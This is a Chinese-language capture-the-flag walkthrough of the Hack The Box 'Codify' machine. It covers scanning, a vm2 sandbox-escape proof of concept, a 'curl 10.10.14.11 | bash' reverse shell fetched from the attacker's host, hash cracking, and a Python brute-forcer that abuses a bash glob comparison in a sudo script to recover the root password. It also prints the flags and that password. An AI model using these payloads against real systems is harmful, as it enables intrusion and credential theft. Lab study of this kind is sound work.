HTB-Codify笔记

admin 2024年2月15日18:56:09评论23 views字数 2845阅读9分29秒阅读模式

HTB-Codify笔记

扫描靶机

nmap -sC -sV -T5 -Pn 10.10.11.239

HTB-Codify笔记

扫描出域名,还有很多端口,把域名写进去hosts,然后再打开

HTB-Codify笔记

HTB-Codify笔记

从首页上面就已经介绍清楚了,这是一个nodejs的测试沙盒,不用注册用户的情况下可以使用,我tm竟然加载不出来,没关系,用dirsearch扫描一波

dirsearch -u http://codify.htb/

HTB-Codify笔记

扫描出一个editor的页面,进去后是一个写nodejs代码的测试页面,这种沙盒有个漏洞,未授权的情况下可以远程执行命令,可以参考这篇文章

HTB-Codify笔记

https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c

HTB-Codify笔记

HTB-Codify笔记

参考代码

const {VM} = require("vm2");const vm = new VM();const code = `aVM2_INTERNAL_TMPNAME = {};function stack() {    new Error().stack;    stack();}try {    stack();} catch (a$tmpname) {    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');}`console.log(vm.run(code));

直接复制该代码,运行cat命令,查看passwd内容

HTB-Codify笔记

现在可以给shell,注意的是,直接使用bash的getshell是无法使用的

HTB-Codify笔记

所以可以通过ssrf原理,进行反弹,本地写shell的index.html,开python服务器,然后反弹,这次我使用一下新的c2工具villain

HTB-Codify笔记

curl 10.10.14.11 | bash

HTB-Codify笔记

HTB-Codify笔记

成功反弹shell,进入shell

HTB-Codify笔记

在/var/www里面有个contact,里面有个db数据库文件,下载到本地,然后打开

HTB-Codify笔记

HTB-Codify笔记

拿到了一个joshua的hash,直接john爆破

john --wordlist=/home/uu/rockyou.txt hash

HTB-Codify笔记

直接用ssh登录进去,拿到user flag:

9b18259eb63417915830a661011fe818

HTB-Codify笔记

输入sudo -l查看提权信息

HTB-Codify笔记

可以看到是一个mysql的bash文件,查看一下内容

#!/bin/bashDB_USER="root"DB_PASS=$(/usr/bin/cat /root/.creds)BACKUP_DIR="/var/backups/mysql"read -s -p "Enter MySQL password for $DB_USER: " USER_PASS/usr/bin/echoif [[ $DB_PASS == $USER_PASS ]]; then        /usr/bin/echo "Password confirmed!"else        /usr/bin/echo "Password confirmation failed!"        exit 1fi/usr/bin/mkdir -p "$BACKUP_DIR"databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")for db in $databases; do    /usr/bin/echo "Backing up database: $db"    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"done/usr/bin/echo "All databases backed up successfully!"/usr/bin/echo "Changing the permissions"/usr/bin/chown root:sys-adm "$BACKUP_DIR"/usr/bin/chmod 774 -R "$BACKUP_DIR"/usr/bin/echo 'Done!'

从上面可以看到,它是拿$DB_PASS跟 $USER_PASS做比较,假如输入一个字符,$USER_PASS是对输入的内容进行提取,没有用户的限制,输入*号键可以绕过验证

HTB-Codify笔记

joshua@codify:~$ DB_PASS="caixukun"joshua@codify:~$ USER_PASS="*"joshua@codify:~$ if [[ $DB_PASS == $USER_PASS ]]; then        /usr/bin/echo "Password confirmed!"else        /usr/bin/echo "Password confirmation failed!"        exit 1fiPassword confirmed!joshua@codify:~$ USER_PASS="cxk"joshua@codify:~$ if [[ $DB_PASS == $USER_PASS ]]; then        /usr/bin/echo "Password confirmed!"else        /usr/bin/echo "Password confirmation failed!"        exit 1fiPassword confirmation failed!

HTB-Codify笔记

所以开两个ssh,然后一个使用pspy64一个直接使用脚本

HTB-Codify笔记

HTB-Codify笔记

得到了kljh12k3jhaskjh12kjh3密码,直接su 拿到root flag

HTB-Codify笔记

也可以写一个python,然后运行

import osimport stringcharset = string.printableresfult = ""def get(caixukun):    temp_hash = os.popen(f"echo '{caixukun}'* | sudo /opt/scripts/mysql-backup.sh").read().split("n")[1]    return temp_hash == 'Password confirmed!'def find_char():    for caixukun in charset:        test_data = resfult + caixukun        if get(test_data):            return caixukun    return Nonewhile True:    new_char = find_char()    print(f"pass: {resfult + new_char}")    if not new_char:        break    else:        resfult += new_char

HTB-Codify笔记

HTB-Codify笔记

成功拿到root密码,拿到root flag:

090a94e632795bb528562f45d50c914e

原文始发于微信公众号(Jiyou too beautiful):HTB-Codify笔记

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日18:56:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Codify笔记https://cn-sec.com/archives/2180810.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息